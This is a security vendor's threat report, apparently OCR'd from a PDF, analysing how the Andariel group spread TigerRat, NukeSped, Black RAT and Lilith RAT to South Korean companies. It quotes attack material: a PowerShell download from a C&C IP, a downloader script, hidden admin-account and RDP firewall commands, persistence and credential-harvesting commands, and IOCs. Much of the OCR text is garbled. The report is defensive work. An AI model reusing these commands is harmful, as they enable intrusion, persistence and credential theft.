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The ASEC analysis team identified the circumstances of the Andariel group distributing malware via an attack
using a certain asset management program. The Andariel group is known to be in a cooperative relationship with

or a subsidiary organization of the Lazarus group.

The Andariel group usually launches spear phishing, watering hole, or supply chain attacks for initial penetration.
There is also a case where the group exploited a central management solution during the malware installation
process. Recently, the Andariel group has been exploiting vulnerabilities in many programs such as Log4Shell and

Innorix Agent to attack targets in various corporate sectors in South Korea. [1]

Another asset management program was used in the recently identified attack. Additionally, an attack targeting
MS-SQL Server was also identified at the same time. Malware strains installed through these attacks include not
only TigerRat, but also various other types such as NukeSped variants, Black RAT, and Lilith RAT, an open-
source malware strain. The attack targets were found to be South Korean communications companies and

semiconductor manufacturers, similar to those in previous cases of attacks.

1. Initial Penetration

AhnLab Smart Defense (ASD) recently detected logs of a certain South Korean asset management program
having installed the Andariel group’s malware. But of course, it cannot be determined from these logs alone
whether these signify an attack that takes advantage of a vulnerability or a simple exploit. The asset management

program running in the target system ultimately used the following PowerShell command to download the

malware.
Target Type File Name File Size  File Path @
Target B credis.exe 166 KB %6SystemDriveds\users\%ASDY cradis.exs
Current B powershell.exe 445 KB %SystemRootdo\syswowE4\windowspowershell\v1.0\powershell.exe
Parent B cmd.exe 230.5KB  %SystemRoot\syswowsd\cmd.exe
ParentOfParentOfCurrent [ ] 1.25MB %ProgramFiles% (x86)\
Process Module Target Behavior Data
B powershell.exe Downloads executable file http://109.248.150.147/load.png
B credis.exe
| ] (] Creates process
B powershell.exe Connects to network http://109.248.150.147:8585 load.png

Figure 1. Malware downloaded using an asset management program
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e PowerShell command: wget hxxp://109.248.150[.]147:8585/load.png -outfile C:\Users\public\credis.exe

Besides PowerShell, the Andariel group also used the mshta.exe process to download malware. The following is
HTML malware uploaded to the C&C URL, and this malware is responsible for downloading other malware

strains from the Andariel group such as TigerRat.

window.resizeTo(8,0);

I
L

a.open(
a.send|

d="c: ubli
e=b.CreateTextFile(d,
e Write{ 'MZ");
e.Close();
e=b.0OpenTextFile(d, 8, ,-1);
e.Write(a.responseBody);
e.Close();
c.Run{d, @);

Figure 2. Downloader script

In previous attack cases, the Andariel group used Innorix Agent and spear phishing attacks together. A notable fact
about the recent attacks is that there are cases where malware was installed using MS-SQL Server. It is presumed
that the threat actor attacked poorly managed MS-SQL servers and installed NukeSped. The presumption is based
on the fact that malware strains such as Remcos RAT and Mallox ransomware are also usually installed through
attacks against MS-SQL servers which have account credentials that are vulnerable against brute force or
dictionary attacks, and also on the fact that there are logs of other threat actors’ attempts to install such malware
strains in the system in the past. Thus, it seems that the Andariel group has also been using poorly managed MS-

SQL servers as attack vectors in recent days.

Target Type File Name File Size File Path®

Current B cmd.exe 33TKB %pSystemRootolsystem32\emd.exe

Target 22.5KB  %SystemDrivett\users\B0ASDO parfexe

Farent B sqlservrexe  357.95 KB d:\program files\microsoft sql server\mssql12.mssqlserver\mssgl\binn\sglservr.exe
Process Module Target Behavior Data

B cmd.exe B perfexe Creates process

B sqlservrexe Creates exacutable file

B cmd.exe Deletes executable file

Figure 3. NukeSped being installed through MS-SQL Server

Page 2 of 13



https://asec.ahnlab.com/en/59073/

Similar to other attacks that target MS-SQL Server, PrintSpoofer was used for privilege escalation during the

attack process.

if { !'InitializeSecurityDescriptor(pSecurityDescriptor, 1u)
|| !ConvertStringSecurityDescriptorToSecurityDescriptork(

L"D: (A;0ICI;GA;; WD),

lu,
&Uuid.lpSecurityDescriptor,
Bigd) )
if [ CreateEnvironmentBlock({&Envircnment, hToken, @) )

1
StartupInfo.lpDesktop = L"WinSta@®\\Default™;

StartupInfo.cbh = 184;
if { CreateProcessAsUserkd(

hToken,

@164,
lpCommandLine,
P16,

@i64,
bInheritHandles,
dwCreationFlags,
Environment,

lpCurrentDirectory,
&startupInfo,
&ProcessInformation)

Figure 4. PrintSpoofer privilege escalation malware also used in the attack against MS-SQL Server

2. Malware Used in Attacks

Backdoors installed through the attacks above include TigerRat, a major malware strain used by the Andariel
group, as well as Black RAT and variants of NukeSped. These malware strains are almost identical to those of
previous attacks, but open-source malware Lilith RAT was used in the recent attacks. Additionally, in line with the
Andariel group’s recent tendency that uses malware developed in the Go language, a downloader malware

developed in Go was also discovered.

2.1. TigerRat

The malware installed through the South Korean asset management program was TigerRat. The Andariel group
has been using TigerRat in most attacks against South Korean targets; the attacks include watering hole,
Log4Shell vulnerability, and more. [2] TigerRat is a backdoor that supports various features such as uploading and
downloading files, executing commands, collecting basic information, keylogging, taking screenshots, and port

forwarding.

A difference between this and other ordinary backdoors is that there is an authentication process during initial
communications with the C&C server where a certain string must be sent and received. Like the types identified in
2023, random strings with sizes of 0x20 were used in the authentication for TigerRat in the recent attacks. These
strings are deemed to be the MD5 hash for “fool”(dd7b696b96434d2bf07b34f9¢125d51d) and
“iwan”(01ccce480c60fcdb67b54f4509ffdb56).

Page 3 of 13


https://asec.ahnlab.com/en/34461/

https://asec.ahnlab.com/en/59073/

Stream Content-

00000000 64 64 37 62 36 39 36 62 39 36 34 33 34 64 32 62 dd7b696b 96434d2b
00000010 66 30 37 62 33 34 66 39 63 31 32 35 64 35 31 64 fO7b34f9 c125d51d
00000020 00 8
00000000 30 31 63 63 63 65 34 38 30 63 36 30 66 63 64 62 OlcccedB8 0cedfcdb
00000010 36 37 62 35 34 66 34 35 30 39 66 66 64 62 35 36 67b54T45 09ffdb56
00000020 00 :
00000021 18 00 OO0 Q0 " wm’ ~ ™ mm— =TT pmm T
00000031 i sk~ % —_ _

—— ]
Figaure 5. Strings used in authentication with the C&C server

e C&QC request string: dd7b696b96434d2bf07b34f9c125d51d
e C&QC response string: 01ccce480c60fcdb67b54f4509ffdb56

2.2. Golang Downloader

The Andariel group has been creating and using various backdoors in the Go language since around 2023. Black
RAT, Goat RAT, and DurianBeacon were used in previous cases, and a downloader developed in Go was used in
the recent attacks. This malware has a simple structure that connects to the C&C server and installs an additional

payload. A notable characteristic is that it uses Base64 encryption during communications with the C&C server.
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Y

il s 5

maw rdx, cs:gword SF3883
mow rcx, rbx
mow rbx, rax
mow rax, rdx
call encoding_bases4  ptr_Encoding DecodeString
nop
test rdi, rdi
jz short loc 4E352B
] ] '
= =
HOr eax, eax
Xor ebx, ebx loc_4EB52B:
jmp short loc_4EB538) |mov rcx, rbx
mow rbx, rax
HOr eax, eax
call runtime_slicebytetostring
J

[l e 5

call

loc 4EB533:
Mo [rsp+248htvar_288], rbx
mowv [rsp+248h+var_138], rax
cmp rbx, B
jge short loc 4EB54F
‘ ¥ [
FZE
HOr eCK, BCX
jmp short loc 4E8574| |loc 4ES54F:
lea rbx, asc_S17370 ; “"@@o!!!”
Mo ecx, B
nop dword ptr [raxtrax+esh]

runtime_memequal

Figure 6. The downloader malware’s Base64 decryption routine

Not only did the threat actor exploit the South Korean asset management program to install TigerRat directly, but

they also employed the method of installing the Golang downloader which in turn installed an additional payload.

Malware installed through the Golang downloader include TigerRat and variants of NukeSped.

2.3. NukeSped Variants

NukeSped is a backdoor that can receive commands from the C&C server and control the infected system. Among
the NukeSped variants used in the attacks, Type 1 sends a packet using the POST method during initial

communications with the C&C server and then sends the results of the executed commands transmitted from the

C&C server through the GET method disguised as the behavior of visiting Google.
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Address Hex ASCIT

000000DBOD4FFI00| 50 4F 53 54 |20 2F 6C 6F |67 69 6E 2E(70 68 70 20|POST /login.php

000000DBOD4FF910|48 54 54 50|2F 31 2E 31 (20 OD 0A 48|6F 73 74 3A|HTTR/1.1 ..Host:
000000DBOD4FF920| 20 77 77 77 |2E 67 6F 6F |67 6C 65 2E|63 6F 6D OD| www.google. com.
000000DBOD4FF930|0A 43 6F 6E|BE 65 63 74 (69 6F G6E 2A |20 6B 65 65|.Connection: kee
000000DBOD4FF940|70 2D 61 6C |69 76 65 OD|0A 43 61 63|68 65 2D 43| p-alive..Cache-C
000000DBOD4FFI50|6F 6E 74 72 |6F 6C 3A 20(6D 61 78 2D|61 67 65 3D|ontrol: max-age=
000000DBOD4FF960| 30 OD 0OA 53|65 63 2D 46|65 74 63 68 |2D 4D 6F 64|0..S5ec-Fetch-Mod
000000DB0OD4FFI70|65 34 20 31|30 OD 0A 53|65 63 2D 46|65 74 63 68|e: 10..S5ec-Fetch
000000DBOD4FF980| 2D 55 73 65|72 3A 20 41|2D 44 45 53 (48 54 4F 50| -User: A-.m "z =
000000DBOD4FF990| 2D 47 4C 4D |30 54 51 4A|0D 0A 53 65(63 2D 46 65| -m=m - m  Sec-Fe
000000DBOD4FFIAQ| 74 63 68 2D|44 65 73 74(3A 20 31 31|0D 0A 0D O0A|tch-Dest: 11....
000000DEOD4AFF9B0| 00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 00| ... inrnnnrnnn

Address Hex ASCIT

000000DBOD4FE3QO |47 45 54 20|68 74 74 7O |3A 2F 2F 77|77 77 2E 67 |GET http:ffwww.ﬁ
000000DBOD4FE3L0|6F 6F 67 ©C |63 2E 63 6F (6D 2F 73 63|61 72 63 68|oogle.com/searc

000000DBOD4FE320|3F 71 26 63|70 3D 30 26|78 73 73 693D 74 26 68| ?g&cp=0&xssi=t&h
000000DBOD4FE330|6C 3D 65 6E |26 61 75 74|68 75 73 65|72 3D 31 26| 1=en&authuser=1&
000000DBOD4FE340|6E 6F 6C 73|62 74 3D 31|26 64 70 72|3D 31 20 48| nolsbt=1&dpr=1 H
000000DBOD4FE350| 54 54 50 2F |31 2E 31 20(0D DA 53 65|63 2D 46 65|TTP/1.1 ..Sec-Fe
000000DBOD4FE360| 74 63 68 2D|4D 6F 64 65(3A 20 36 20|0D OA 43 6F|tch-Mode: 80..Co
000000DBOD4FE370|6E 74 65 6E|74 2D 4C 65|6E 67 74 68|3A 20 30 30|ntent-Length: 00
000000DBOD4FE3B0O| 30 30 30 20|30 30 OD OA(43 6F 6E BE |65 ©3 74 69|000000..Connect]
000000DBOD4FE3S0|6F 6E 3A 20|6B 65 65 70|2D 61 6C 69|76 65 0D OA|on: keep-alive..
000000DBOD4FE3AQ|OD OA 00 Q0|00 00 00 00|00 00 00 0O(00 00 00 00... v inrnnnnnnn

Figure 7. C&C communications packet

Another NukeSped variant was identified in the attack process. While it has a small size of 23 KB, the string used

for auto-deletion is similar to that of the past NukeSped variants.

.rdata:eceeae0l4ee64478 ; const CHAR CommandLine[ ]

.rdata:ee00000140004470 CommandLine db "cmd.exe',® ; DATA XREF: StartAddress+leAto
.rdata:00000001400084478 ; const char aS[]

.rdata:0000000140004478 as db "%s',8Ah,0 ; DATA XREF: sub 140861ACB+81To
.rdata:00000008140808447C ; const char Source[]

.rdata:88808881468868417C Source db "1.bat’,® ; DATA XREF: sub 140861C78+97to
.rdata:88808801408084482 align 8

.rdata:80000000148004485 alfExist db 8Dh,B88h ; DATA XREF: sub_l4@681C784+BETo
.rdata:0000000140004484 db "if exist’,®

.rdata:0eeoe00146004493 align 8

.rdata:00000001400084498 ; const char aEchoOffL1DelSS[]
.rdata:0e000001400044938 aEchoOffL1Delss db ‘f@echo off’,8Dh,@8Ah ; DATA XREF: sub_l48881C7@+D3To

.rdata: eeea0801400044A3 db ":L1',8Dh,@Ah

.rdata: 00800001400044A8 db "del "¥%s"¥s "¥%s" goto L1°,8Dh,BAh

.rdata: 60006061 468644C1 db "del "%s™",8Dh,B8Ah,B8

.rdata: 600866061 46886844CC align 18h

.rdata:B080080140864408 almagelpeg: ; DATA XREF: sub_14@8881F584+7CTo
.rdata:88666601408844D0 text "UTF-16LE™, 'image/jpeg’.,@
.rdata:e0ee0801408044E6 align 8

.rdata:e00e0001408044E8 ; const char cp[]

.rdata:0e000001400044E8 cp db '27.182.115.287",8 ; DATA XREF: WinMain+92to
.rdata:eee00001400044F7 align 8

.rdata:000000081400844F8 ; const wchar_t aC

.rdata:eeee0801400044F8 aC: ; DATA XREF: WinMain+5D71o
.rdata: 60000001 4686844F8 text “"UTF-16LE", "¥c:',@

.rdata:600068001468084580 ; const wchar_t alD

.rdata:B080080140864508 alD: ; DATA XREF: WinMain+687to
.rdata: 80020801 40864508 text “"UTF-16LE", "¥c:>>%d',08

Figure 8. NukeSped’s string

2.4. Black RAT

Black RAT is a backdoor developed in the Go language and was first identified in an attack by the Andariel group
in 2023. While no source code information is included in the Black RAT used in the recent attacks, it could be

distinguished through the fact that the function names were almost identical to the Black RAT in the past.
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rmain_BitBlt et
main_CaptureRect et
main_-CaptureRect_func1 et
main_Capturescreen et
rmain_Crmdshell et
rmain_DeleteDC et
main_DeleteCbject et
rmain_FileDownload et
rmain_GetallFoldersandFiles et
rmain_GetLogicalDrives et
main-Handshake et
main_MultiByte To'WideChar et
rain_MewtultiByte ToWideChar et
rmain_MewWideCharTokultiByte et
main_PeekMarmedPipe et
rmain_FRecy et
rmain_RecyPacket et
rmain_ReleaseDC et
main_RunTask et
rmain_ScreentonitThread et
main_Screenfect et
rmain_Screenfect_funci et
main_Selflielate et
rmain_Send et
rmain_SendFacket et
rmain_WideCharToMultiByte et
main_getDrive Type et
rmain_init et
main_main Jdext
rath_big_init et
rmath_init et
rath _rand_init et

R R R T R

Figure 9. List of Black RAT’s functjions

2.5. Lilith RAT

Lilith RAT is an open-source RAT malware published on GitHub. It was developed in C++ and provides various
features for controlling the infected system such as remote code execution, maintaining persistence, and auto-

delete.

README.md

Lilith

@ build ' passing Iicenmn

Free & Native Open Source C++ Remote Administration Tool for Windows

ed in C++. It features

Figure 10. Lilith RAT’s GitHub page
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Lilith RAT, used by the Andariel group for their attacks, has a significant portion of the strings in its binary
encrypted. This is deemed to be for the purpose of evading file detection. However, not all strings are encrypted,

and some strings are the same as those in Lilith RAT’s source code.

.rdata:0000000140010650  0000OOTF
.rdata:0000000140010678 00000011
.rdata:000000014001088C 0000007
.rdata:0000000140010835  00000CZT
.rdata:00000001400106C0  0000001E
(rdata:00000001400108E0  000OOO1O

Initiate & CMD session first, #n
getaddrinfo: %s¥n

@true@

ERROR: Downloading is already running!
ERROR: Unable to open file: #n

CMD is not open

 rdata:000000071400108F0  0OOQ0O0C "to stdin,

rdatai0000000140010900 00000019 Couldn't write cormmand
*|  rdata:000000014001091C 00000007 @ty e
*| . rdata:0000000140010928 00000024 Couldn't werite to CMD: CMD not open
*|  rdata:000000014001094C 00000007 @ty e

.rdata:00000001400109C0  0000003D
.rdata:0000000140010A400  000000OE
.rdata:0000000140010A410  0000000E

tICZidigjZ gispaci? CMEdrmLoBiWkZuQilyjvighMjZ gRiGrmajyYywiWkl GjrYgR
2SRy [Rx]
General error

rdata:00000007140010420  0OOOOO0A CrD error
rdata: 000000014001 042C 00000007 Etrue@
Lrdata:0000000140010438  0000Q011 Metworking error
rdata:00000007140010458 00000000 killing self
(rdata:00000001 40010468 00000008 restart
rdatai0000000140010470  000O0O0E restarting

*|  rdata: 00000001 4001047C 00000006 sleep

*|  rdata:0000000140010454 00000006 sleep

*|  rdata:0000000140010450  0O00000A, uninstall
.rdata:0000000140010440 00000008 control
rdata:00000007140010448  0OOOOOOC 05y5Sm9Gahbo=

.rdata:0000000140010488 00000035
.rdata:00000001400104F0  0000001D
.rdata:0000000140010610 02000010

obikZuQilyvkligiayEmpO TodnO0c+j5CImo2MI5g Tk3Gah o=
YLK T3y ajlyWkIHfk +akZ b Ofll=
uZaTrmt+bkJakkdiL35aHIow LU=

alelalaliaielaliaialaia el il ie e ia e e e e Tkl

Figure 11. Strings in Lilith RAT
2.6. Adding User Account

Aside from controlling the infected system using backdoors, the threat actor also added a user account in the
system and concealed it. This task was performed using a malware strain the threat actor developed. Because this
malware runs properly only when a certain user account exists in the infected system, the addition of a user

account signifies that the threat actor has already gained control over the system.
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string userName[@] = "=g;

memset (&string _userName[1], @, @x1@88uisd);
strcpy(vo, "black"};

memset(&v9[6], ©, @xFEuibd);

strepy(vie, "Woele 12341@#37);
memset(&v1B[18], @, @xF2uisd);

w3 = -1i64;

do
+Hw3;

while { v3[v3] };

if ( vo[(int)v3 - 1] I= '$" )
va[(int)vw3] = '$";

printf _1{"\r\n"};

printf_1({"[+] current user name is %s\r\n", (const char *}string_userName};
printf 1("[+] hidden user name is #s\r\n", v2);

printf 1{"[+] hidden user pass is ¥s\rin\rin", vie);

memset (Buffer, @, @xl184uisd);

sprintf2{Buffer, “net user ¥s ¥s fadd /y", v9, vie);

fn_createProc{Buffer);

printf_1("[+] add hidden user\rin™};

Sleep(@x3E3u);

Key = fn_queryKey({(const char *}string_userName};

if ( Key && (vS = fn_gueryKey(va}) !=8 ) !/ "blacks™
1

printf 1({"[+] ¥s type is ¥x\r\n", (const char *)string userName, Key);
printf 1({"[+] ¥s type is ¥\r\n", vI, v5);

Figure 12. The routine that diverges depending on the existence of a certain user

Ordinarily, the reasons why the threat actor adds a user account even when they can control the infected system
using a backdoor are to use Remote Desktop to control the target in a GUI environment and maintain persistence
afterward. However, if an account is added without any other steps, a system user can recognize a newly created

user account upon login.

For this reason, the malware goes through the following process to prevent the user from noticing. First, the
account is created with the sign “$” added to the name. Then, a part of the SAM data of an existing user is copied
and overwritten onto the created “black$” account. If the existing user is an admin account and permitted to use

Remote Desktop, the “black$” account also obtains the same properties.

For reference, malware strains used by the Kimsuky group added the newly created user account to the admin
group and also to Special Accounts, enabling the account in firewalls. [3] This process can easily be detected by
security products, but the Andariel group characteristically used the aforementioned malware to add a concealed

account without the additional step.

WinExec(
"c:\\windows\\system32\\cmd.exe fc net user IIS_USER lgaziwsX fadd&net localgroup administrators IIS_USER /add”,
5u);

WinExec(
"cmd.exe /c reg add \HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersien\\Winlogon\\SpecialAccounts\\UserL"
"ist\" fv IIS_USER /t REG_DWORD /d @ /f",
5u);

WinExec(
"netsh.exe advfirewall firewall add rule name=\"Remote Desktop TCP\" dir=in proteocol=tcp localport=3389 profi”
"le=any action=allow"”,
5u);

WinExec(
"netsh.exe advfirewall firewall add rule name=\"Remote Desktop TCP\" dir=ocut protocol=tcp localport=3389 prof”
"ile=any action=allow"”,
5u);
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Figure 13. Kimsuky group’s malware that adds and conceals a user account

3. Post Infection

After installing the backdoor, the threat actor ran the following commands and registered them to the task

scheduler to maintain persistence.

Execute the Process

CMDLine

schtasks /delete /tn "microsofty = /f

schtasks /create /tn "microsoft) = ®&a o fir "ciusers\%ASDY\ credis.exa” /sc onlogon /ru system

Figure 14. Commands executed by the threat actor

> schtasks /delete /tn “microsoft\*#****> /f
> schtasks /create /tn “microsoft\******” /tr “c:\users\%ASD%\credis.exe” /sc onlogon /ru system

> schtasks /run /tn “microsoft\windows\mui\route”
Afterward, the following commands were used to look up information on the infected system.

> cmd.exe /c “query user”
> cmd.exe /c “ipconfig”

> cmd.exe /c “whoami”

> cmd.exe /c “cmdkey /list”

> cmd.exe /c “netsat -nao | findstr 445”

Besides the commands above, there were other commands that removed the downloader malware or terminated

other processes.

> cmd.exe /c “del /f c:\users\%ASD%\perf.exe”
> taskkill /f /pid 15036

In addition to using the backdoor to collect information, the threat actor also downloaded and used hacking tools
such as NirSoft’s CredentialsFileVIew and Network Password Recovery. These tools show account credentials
saved in the infected system as well as account credentials on shared folders. These can be used in the future for

lateral movement within the organization’s network that the affected system belongs to.
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Process Module Behavior Data
B powershell.exe Downloads executable file http://84.38.132.67:9479%/netpass.png
B net.exe
B iest.exe Executes exploitable process Target Process
B netexe
B test.exe Executes exploitable pracess Target Process
B cmd.exa
B powershell.exe Downloads executable file http://84.38.132.67:947%/fav.ico
B testexe

Figure 15. Netpass downloaded and executed after malware infection

1.ZE

The Andariel group is one of the threat groups that are highly active in South Korea, alongside the Kimsuky and
Lazarus groups. The group initially launched attacks to acquire information related to national security, but now
they are also attacking for financial gain. [4] They are known to use spear phishing or watering hole attacks, and
they also exploit vulnerabilities in software during the initial penetration. There have also been circumstances of

the Andariel group having exploited other vulnerabilities in the attack process to distribute malware.

In recently discovered attack cases, the group seems to be using various programs such as asset management
software within companies for supply chain attacks in addition to launching attacks against vulnerable MY-SQL
servers. Users must be particularly cautious against attachments in emails from unknown sources and executable
files downloaded from web pages. Security administrators in companies must enhance monitoring of asset
management programs and apply patches for any security vulnerabilities in the programs. The latest patch for OS
and programs such as Internet browsers must be applied, and V3 must be updated to the latest version to prevent

malware infection in advance.

AhnLab’s anti-malware product V3 detects and blocks malware using the detection names below. The IOC is as

follows.
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AhnlLab V3 Lite X
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A3 E 0|&: Backdoor/Win.TigerRAT.C5513095

ot HE: Cllsersitt WDesktoptcredis.exe
HE: ATF 2=

Jtot
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Z2 48 T ChAl ZI2X] &7 1/1

File Detection

— Malware/Win.Generic.C5528992 (2023.10.25.00)

— Malware/Win.Generic.C5528516 (2023.10.26.00)

— Backdoor/Win.TigerRAT.C5517634 (2023.10.19.03)
— Backdoor/Win.Agent.C5518308 (2023.10.20.00)

— Downloader/HTML.Agent.SC193459 (2023.10.19.03)
— Downloader/HTML.Agent.SC193403 (2023.10.18.01)
— Backdoor/Win.TigerRAT.C5513095 (2023.10.17.03)
— Unwanted/Win.HackTool.C5175443 (2022.06.20.02)
— HackTool/Win.CredentialsFile View (2022.04.20.00)

— Backdoor/Win.Agent.R619279 (2023.11.01.01)

— Backdoor/Win.Agent.C5534745 (2023.11.01.01)

— Backdoor/Win.NukeSped.C5535346 (2023.11.01.03)
— Backdoor/Win.BlackRAT.C5535345 (2023.11.01.03)
— Exploit/Win.PrintSpoofer.C5535350 (2023.11.02.00)

Behavior Detection
— Malware/MDP.Download.M1197

MD5
0414a2ab718d44bf6f7103cff287b312
13b4cel1fc26d400d34ede460a8530d93

232586{8cfe82b80fd0dfa6ed8795c56
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33a3da2de78418b89a603e28a1e8852c
3a0c8ae783116¢1840740417c4fbe678
Additional IOCs are available on AhnLab TIP.
URL

http[:]//109[.]248[.]150[.]147[:]18080/
http[:1//109[.]248[.]150[.]147[:]18443/
http[:]//109[.]248[.]150[.]147[:]8585/load]. ]Jhtml
http[:1//109[.]248[.]1150[.]147[:18585/load[.]Jpng
http[:1//109[.]248[.]150[.]147[:]18585/view[.]php
Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.

AhnlLab TIP

Get Started with AhnlLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com

/¢

Source: https://asec.ahnlab.com/en/59073
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